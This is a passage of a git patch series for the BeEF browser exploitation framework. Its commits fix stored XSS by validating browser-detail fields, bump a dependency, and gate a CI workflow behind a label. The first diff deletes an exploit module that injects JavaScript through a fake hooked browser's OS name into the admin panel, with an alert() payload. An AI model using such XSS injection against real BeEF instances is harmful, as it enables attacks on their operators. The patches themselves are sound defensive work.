b/modules/exploits/beef_admin_panel_xss/config.yaml deleted file mode 100644 index 2b2baaad5..000000000 --- a/modules/exploits/beef_admin_panel_xss/config.yaml +++ /dev/null @@ -1,15 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -beef: - module: - beef_admin_panel_xss: - enable: true - category: "Exploits" - name: "BeEF Admin Panel XSS" - description: "This module exploits a Stored XSS vulnerability in the BeEF Admin Panel's Hooked Browsers tooltip. It registers a fake hooked browser with a malicious OS name containing JavaScript payload. When the BeEF administrator hovers over the fake browser entry, the XSS payload executes.

This can be used to test if a target BeEF instance is running a vulnerable version." - authors: ["author"] - target: - working: ["ALL"] diff --git a/modules/exploits/beef_admin_panel_xss/module.rb b/modules/exploits/beef_admin_panel_xss/module.rb deleted file mode 100644 index f44675c17..000000000 --- a/modules/exploits/beef_admin_panel_xss/module.rb +++ /dev/null @@ -1,17 +0,0 @@ -# -# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net -# Browser Exploitation Framework (BeEF) - https://beefproject.com -# See the file 'doc/COPYING' for copying permission -# -class Beef_admin_panel_xss < BeEF::Core::Command - def self.options - [ - { 'name' => 'target_beef_url', 'ui_label' => 'Target BeEF URL', 'value' => 'http://localhost:3000', 'width' => '300px' }, - { 'name' => 'xss_payload', 'ui_label' => 'XSS Payload (JavaScript)', 'value' => "alert(String.fromCharCode(88,83,83))", 'width' => '400px' } - ] - end - - def post_execute - save({ 'result' => @datastore['result'] }) - end -end From 70ec0de175bf927997cdf2fd9bc747aa89cbbb9f Mon Sep 17 00:00:00 2001 From: zinduolis Date: Thu, 26 Feb 2026 11:20:30 +1000 Subject: [PATCH 11/14] Fix Stored XSS in Browser Details and Core Filters --- core/filters/base.rb | 2 +- core/filters/browser.rb | 10 +++---- core/main/handlers/browserdetails.rb | 45 +++++++++++++++++++++++----- 3 files changed, 43 insertions(+), 14 deletions(-) diff --git a/core/filters/base.rb b/core/filters/base.rb index c8da8ff9a..1c152aca9 100644 --- a/core/filters/base.rb +++ b/core/filters/base.rb @@ -187,7 +187,7 @@ module BeEF def self.has_valid_browser_details_chars?(str) return false unless is_non_empty_string?(str) - !(str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? + (str =~ %r{[^\w\d\s()-.,;:_/!\302\256]}).nil? end # Check for valid base details characters diff --git a/core/filters/browser.rb b/core/filters/browser.rb index c7c4cb1fa..d441e91ec 100644 --- a/core/filters/browser.rb +++ b/core/filters/browser.rb @@ -11,7 +11,7 @@ module BeEF def self.is_valid_browsername?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) return false if str.length > 2 - return false if has_non_printable_char?(str) + return false unless has_valid_browser_details_chars?(str) true end @@ -21,7 +21,7 @@ module BeEF # @return [Boolean] If the string has valid Operating System name characters def self.is_valid_osname?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) + return false unless has_valid_browser_details_chars?(str) return false if str.length < 2 true @@ -32,7 +32,7 @@ module BeEF # @return [Boolean] If the string has valid Hardware name characters def self.is_valid_hwname?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) + return false unless has_valid_browser_details_chars?(str) return false if str.length < 2 true @@ -71,7 +71,7 @@ module BeEF # @return [Boolean] If the string has valid browser / ua string characters def self.is_valid_browserstring?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) + return false unless has_valid_browser_details_chars?(str) return false if str.length > 300 true @@ -93,7 +93,7 @@ module BeEF # @return [Boolean] If the string has valid system platform characters def self.is_valid_system_platform?(str) # rubocop:disable Naming/PredicatePrefix return false unless is_non_empty_string?(str) - return false if has_non_printable_char?(str) + return false unless has_valid_browser_details_chars?(str) return false if str.length > 200 true diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 3d02f2225..54c9ab83a 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -44,7 +44,7 @@ module BeEF # hooked window host name log_zombie_port = 0 - if !@data['results']['browser.window.hostname'].nil? + if !@data['results']['browser.window.hostname'].nil? && BeEF::Filters.is_valid_hostname?(@data['results']['browser.window.hostname']) log_zombie_domain = @data['results']['browser.window.hostname'] elsif !@data['request'].referer.nil? and !@data['request'].referer.empty? referer = @data['request'].referer @@ -59,7 +59,7 @@ module BeEF end # hooked window host port - if @data['results']['browser.window.hostport'].nil? + if @data['results']['browser.window.hostport'].nil? || !BeEF::Filters.is_valid_port?(@data['results']['browser.window.hostport'].to_s) log_zombie_domain_parts = log_zombie_domain.split(':') log_zombie_port = log_zombie_domain_parts[1].to_i if log_zombie_domain_parts.length > 1 else @@ -92,6 +92,7 @@ module BeEF BD.set(session_id, 'browser.name.friendly', browser_friendly_name) else err_msg "Invalid browser name returned from the hook browser's initial connection." + browser_name = 'Unknown' end if BeEF::Filters.is_valid_ip?(zombie.ip) @@ -242,11 +243,17 @@ module BeEF X_FORWARDED X_FORWARDED_FOR ].each do |header| - proxy_clients << (JSON.parse(zombie.httpheaders)[header]).to_s unless JSON.parse(zombie.httpheaders)[header].nil? + val = JSON.parse(zombie.httpheaders)[header] + unless val.nil? + val.to_s.split(',').each do |ip| + proxy_clients << ip.strip if BeEF::Filters.is_valid_ip?(ip.strip) + end + end end # retrieve proxy server proxy_server = JSON.parse(zombie.httpheaders)['VIA'] unless JSON.parse(zombie.httpheaders)['VIA'].nil? + proxy_server = nil unless proxy_server.nil? || BeEF::Filters.has_valid_browser_details_chars?(proxy_server) # store and log proxy details if using_proxy == true @@ -273,6 +280,7 @@ module BeEF BD.set(session_id, 'browser.version', browser_version) else err_msg "Invalid browser version returned from the hook browser's initial connection." + browser_version = 'Unknown' end # get and store browser string @@ -293,7 +301,12 @@ module BeEF # get and store browser language browser_lang = get_param(@data['results'], 'browser.language') - BD.set(session_id, 'browser.language', browser_lang) + if BeEF::Filters.has_valid_browser_details_chars?(browser_lang) + BD.set(session_id, 'browser.language', browser_lang) + else + err_msg "Invalid browser language returned from the hook browser's initial connection." + browser_lang = 'Unknown' + end # get and store the cookies cookies = get_param(@data['results'], 'browser.window.cookies') @@ -309,6 +322,7 @@ module BeEF BD.set(session_id, 'host.os.name', os_name) else err_msg "Invalid operating system name returned from the hook browser's initial connection." + os_name = 'Unknown' end # get and store the OS family @@ -322,15 +336,30 @@ module BeEF # get and store the OS version # - without checks as it can be very different, for instance on linux/bsd) os_version = get_param(@data['results'], 'host.os.version') - BD.set(session_id, 'host.os.version', os_version) + if BeEF::Filters.has_valid_browser_details_chars?(os_version) + BD.set(session_id, 'host.os.version', os_version) + else + err_msg "Invalid operating system version returned from the hook browser's initial connection." + os_version = 'Unknown' + end - # get and store the OS arch - without checks + # get and store the OS arch os_arch = get_param(@data['results'], 'host.os.arch') - BD.set(session_id, 'host.os.arch', os_arch) + if BeEF::Filters.has_valid_browser_details_chars?(os_arch) + BD.set(session_id, 'host.os.arch', os_arch) + else + err_msg "Invalid operating system architecture returned from the hook browser's initial connection." + os_arch = 'Unknown' + end # get and store default browser default_browser = get_param(@data['results'], 'host.software.defaultbrowser') - BD.set(session_id, 'host.software.defaultbrowser', default_browser) + if BeEF::Filters.has_valid_browser_details_chars?(default_browser) + BD.set(session_id, 'host.software.defaultbrowser', default_browser) + else + err_msg "Invalid default browser returned from the hook browser's initial connection." + default_browser = 'Unknown' + end # get and store the hardware type hw_type = get_param(@data['results'], 'hardware.type') From 7158f0fa44003c188a7c81c2d6a3d32051a0c272 Mon Sep 17 00:00:00 2001 From: zinduolis Date: Thu, 26 Feb 2026 11:30:54 +1000 Subject: [PATCH 12/14] Fix useless local assignments --- core/main/handlers/browserdetails.rb | 3 --- 1 file changed, 3 deletions(-) diff --git a/core/main/handlers/browserdetails.rb b/core/main/handlers/browserdetails.rb index 54c9ab83a..51d83afcf 100644 --- a/core/main/handlers/browserdetails.rb +++ b/core/main/handlers/browserdetails.rb @@ -305,7 +305,6 @@ module BeEF BD.set(session_id, 'browser.language', browser_lang) else err_msg "Invalid browser language returned from the hook browser's initial connection." - browser_lang = 'Unknown' end # get and store the cookies @@ -349,7 +348,6 @@ module BeEF BD.set(session_id, 'host.os.arch', os_arch) else err_msg "Invalid operating system architecture returned from the hook browser's initial connection." - os_arch = 'Unknown' end # get and store default browser @@ -358,7 +356,6 @@ module BeEF BD.set(session_id, 'host.software.defaultbrowser', default_browser) else err_msg "Invalid default browser returned from the hook browser's initial connection." - default_browser = 'Unknown' end # get and store the hardware type From e5b227c049a2bb5854e0ac0c1f29772ba5380c60 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Thu, 26 Feb 2026 13:03:02 +0000 Subject: [PATCH 13/14] Build(deps): bump rubocop from 1.84.2 to 1.85.0 Bumps [rubocop](https://github.com/rubocop/rubocop) from 1.84.2 to 1.85.0. - [Release notes](https://github.com/rubocop/rubocop/releases) - [Changelog](https://github.com/rubocop/rubocop/blob/master/CHANGELOG.md) - [Commits](https://github.com/rubocop/rubocop/compare/v1.84.2...v1.85.0) --- updated-dependencies: - dependency-name: rubocop dependency-version: 1.85.0 dependency-type: direct:production update-type: version-update:semver-minor ... Signed-off-by: dependabot[bot] --- Gemfile | 2 +- Gemfile.lock | 12 +++++++++--- 2 files changed, 10 insertions(+), 4 deletions(-) diff --git a/Gemfile b/Gemfile index 1acf684db..08fa8d132 100644 --- a/Gemfile +++ b/Gemfile @@ -24,7 +24,7 @@ gem 'rake', '~> 13.3' gem 'activerecord', '~> 8.1' gem 'otr-activerecord', '~> 2.6.0' gem 'sqlite3', '~> 2.9' -gem 'rubocop', '~> 1.84.2', require: false +gem 'rubocop', '~> 1.85.0', require: false # Geolocation support group :geoip do diff --git a/Gemfile.lock b/Gemfile.lock index ddc9b7fe4..a2ddae7b8 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -91,11 +91,16 @@ GEM rdoc (>= 4.0.0) reline (>= 0.4.2) json (2.18.1) + json-schema (6.1.0) + addressable (~> 2.8) + bigdecimal (>= 3.1, < 5) language_server-protocol (3.17.0.5) lint_roller (1.1.0) logger (1.7.0) matrix (0.4.3) maxmind-db (1.4.0) + mcp (0.7.1) + json-schema (>= 4.1) method_source (1.1.0) mime-types (3.7.0) logger @@ -136,7 +141,7 @@ GEM activerecord (>= 6.0, < 9.0) parallel (1.27.0) parseconfig (1.1.2) - parser (3.3.10.1) + parser (3.3.10.2) ast (~> 2.4.1) racc power_assert (2.0.5) @@ -199,10 +204,11 @@ GEM diff-lcs (>= 1.2.0, < 2.0) rspec-support (~> 3.13.0) rspec-support (3.13.6) - rubocop (1.84.2) + rubocop (1.85.0) json (~> 2.3) language_server-protocol (~> 3.17.0.2) lint_roller (~> 1.1.0) + mcp (~> 0.6) parallel (~> 1.10) parser (>= 3.3.0.2) rainbow (>= 2.2.2, < 4.0) @@ -339,7 +345,7 @@ DEPENDENCIES rdoc (~> 7.2) rest-client (~> 2.1.0) rspec (~> 3.13) - rubocop (~> 1.84.2) + rubocop (~> 1.85.0) rubyzip (~> 3.2) rushover (~> 0.3.0) selenium-webdriver (~> 4.41) From 8a400906ae1d1f29481566bb041b869ddd1d18f4 Mon Sep 17 00:00:00 2001 From: zinduolis Date: Mon, 2 Mar 2026 15:38:36 +1000 Subject: [PATCH 14/14] Implement safe_to_test label and update outdated github actions in github_actions.yml --- .github/workflows/github_actions.yml | 27 ++++++++++++++++++++------- 1 file changed, 20 insertions(+), 7 deletions(-) diff --git a/.github/workflows/github_actions.yml b/.github/workflows/github_actions.yml index 880302da3..f5a79d9d0 100644 --- a/.github/workflows/github_actions.yml +++ b/.github/workflows/github_actions.yml @@ -3,17 +3,28 @@ name: 'BrowserStack Test' on: pull_request_target: branches: [ master ] - -jobs: + types: [ labeled ] + +jobs: ubuntu-job: name: 'BrowserStack Test on Ubuntu' - runs-on: ubuntu-latest # Can be self-hosted runner also - environment: - name: Integrate Pull Request - env: + runs-on: ubuntu-latest + if: github.event.label.name == 'safe_to_test' + env: GITACTIONS: true steps: + - name: 'Remove safe_to_test label' + uses: actions/github-script@v8 + with: + script: | + await github.rest.issues.removeLabel({ + owner: context.repo.owner, + repo: context.repo.repo, + issue_number: context.payload.pull_request.number, + name: 'safe_to_test' + }); + - name: 'BrowserStack Env Setup' # Invokes the setup-env action uses: browserstack/github-actions/setup-env@master with: @@ -27,7 +38,7 @@ jobs: local-identifier: random - name: 'Checkout the repository' - uses: actions/checkout@v4 + uses: actions/checkout@v6 with: ref: ${{ github.event.pull_request.head.sha }} fetch-depth: 2 @@ -40,11 +51,13 @@ jobs: run: | sudo apt update sudo apt install libcurl4 libcurl4-openssl-dev + - name: 'Configure Bundle testing and install gems' run: | bundle config unset --local without bundle config set --local with 'test' 'development' bundle install + - name: 'Run BrowserStack simple verification' run: | bundle exec rake browserstack --trace